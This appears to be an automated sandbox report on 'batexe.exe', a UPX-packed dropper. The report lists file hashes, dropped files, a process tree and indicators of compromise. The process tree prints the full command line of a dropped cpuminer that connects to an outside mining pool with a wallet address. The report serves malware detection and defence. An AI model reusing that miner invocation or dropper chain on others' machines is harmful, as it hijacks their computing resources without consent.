73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 17:41

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4772	b2e.exe
3108	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe
3108	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2028-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 4772	2028	batexe.exe	75
PID 2028 wrote to memory of 4772	2028	batexe.exe	75
PID 2028 wrote to memory of 4772	2028	batexe.exe	75
PID 4772 wrote to memory of 2796	4772	b2e.exe	77
PID 4772 wrote to memory of 2796	4772	b2e.exe	77
PID 4772 wrote to memory of 2796	4772	b2e.exe	77
PID 2796 wrote to memory of 3108	2796	cmd.exe	79
PID 2796 wrote to memory of 3108	2796	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Users\Admin\AppData\Local\Temp\9431.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9431.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9431.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\96F0.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9431.tmp\b2e.exe

Filesize
3.7MB

MD5
8eeea4dbee30d5c2ecb3486981bcf46f

SHA1
4c137f5e46568eb2f90f43d39a07ea6b20334aca

SHA256
54df64c3d8a363202efcbc8b14e65ba501a7f939826c9cd5f622406540a79fc3

SHA512
b7e893c1d9a3d4ed3341c07fd34e3b4303607ab1c649fd92164d6e0a2382c6c09e9d409930efc435fa7dde388551fe31d251688fec5c992518f864616a92076b

Download Submit
C:\Users\Admin\AppData\Local\Temp\9431.tmp\b2e.exe

Filesize
4.3MB

MD5
6d157c7e73fb62f8d694ff4bbe30bf04

SHA1
1c18051bd1c148d8af216728970f66a72094fba2

SHA256
ef598e695316acc27c8e3bac2a43245024ae8c3a691cdeb117799afb68615b76

SHA512
0f7635bbdf5320838344a2831df69a8d1b7b95fd03f36b1d2322eb9dcefecbfe7d260c7606d5e1df8d550f894fa8bd23202aeb2002184662b545f1e22ede2c68

Download Submit
C:\Users\Admin\AppData\Local\Temp\96F0.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.5MB

MD5
4709c96c0688d2f6c380068b08566c91

SHA1
23a65cb517460da75f25124c15e4cc956e66b820

SHA256
cfcda9c679053b4b815336dbde56faa9bb26c5bf83cc02ab85cc6a1455ae2f3a

SHA512
0b9f0415fb04713eb97eecfbbbf3cf4163d200ba49be988e4e9def74ef22a10e6449a612a597a4b52220639158e83e612832763ee11150c8e3290f5490d422ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
7347c2b508af061ed74146f49cb1b2f2

SHA1
c657b4acd51aee66400da80248fffbc63138f50f

SHA256
74d2574c59716be2e063f0f707fd9cbca14db7bfd0eb106b38caa4e95fb9e592

SHA512
b54bf3c0c74fb1e4c7dc02ce2f41c2c7d5b1c2e2289c0e30c91641fc92406c263b5323bec0f1551d45900a55c69853e7623c713686a120b209e0d472f6713157

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
08fb4a520dcbe4a539a1f9acab91be9c

SHA1
11e5bb58fed5d745e4f98a0154f6fa9df3688a7f

SHA256
ed60a462aebf9758a6a01e444065182a64305b0548b63e54bd1233c41acbc6a8

SHA512
27bb9a50e60d55ae7e9f46f95017a5a06b99589701075e82ad8c81910a24a9f0af1f2816662f32a2c846cc9d7ac9772b522a170924098f150fcf2398ec987d81

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
ed12a3e794a1faeb825ae230c3d047b2

SHA1
c01b93c67dcd4ef450618489df51b392562fac9c

SHA256
53b803d76039947f3c6af1de12aeaa99564ac7a0cf8044d20bf722b9773bf29b

SHA512
4ad9a03e5497cf3d2d4bfb9223338a3c55f2daf374e5c6fb883ff3116f6779ba3b888c405a29d195a0a861a0975f0c8796e904e5132d7832d2dce8e8fe3f3a6d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
6331008411ff3a2d8ca441d8d7896234

SHA1
48e7dcd92ed3c6f3566951733b1e690f517ff3ee

SHA256
f8a38e5f73d95a6a9dc40ab6bf0c355479055acc122ab0ccd320ac1b19cdea69

SHA512
12528cfcd300e592c71f37b231da64135c5675f1c8931920c10958823a455a217c2dafa249636631bfa11827c2b80d8e534e8ff7484883ed8632d419d069f2c4

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
7d2851c5c336e410a302391f48771872

SHA1
6ea2bf6959ad0271741ee983c751446ab6975e44

SHA256
73179c9c5a59a8801afe61a92ac17e984f5d35850eba1e17c568f83cc337f9be

SHA512
9b87d65ce105ad039f5a45bfa9978e7b32f2186c08d9e17c44d717c11bc911ebab9e6277a789696fa7f5aeae31ea0f1797adc6925b6c43a7510ddf4428ad4530

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2028-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3108-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3108-42-0x000000005CFB0000-0x000000005D048000-memory.dmp

Filesize
608KB

Download
memory/3108-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3108-44-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/3108-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3108-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4772-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4772-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download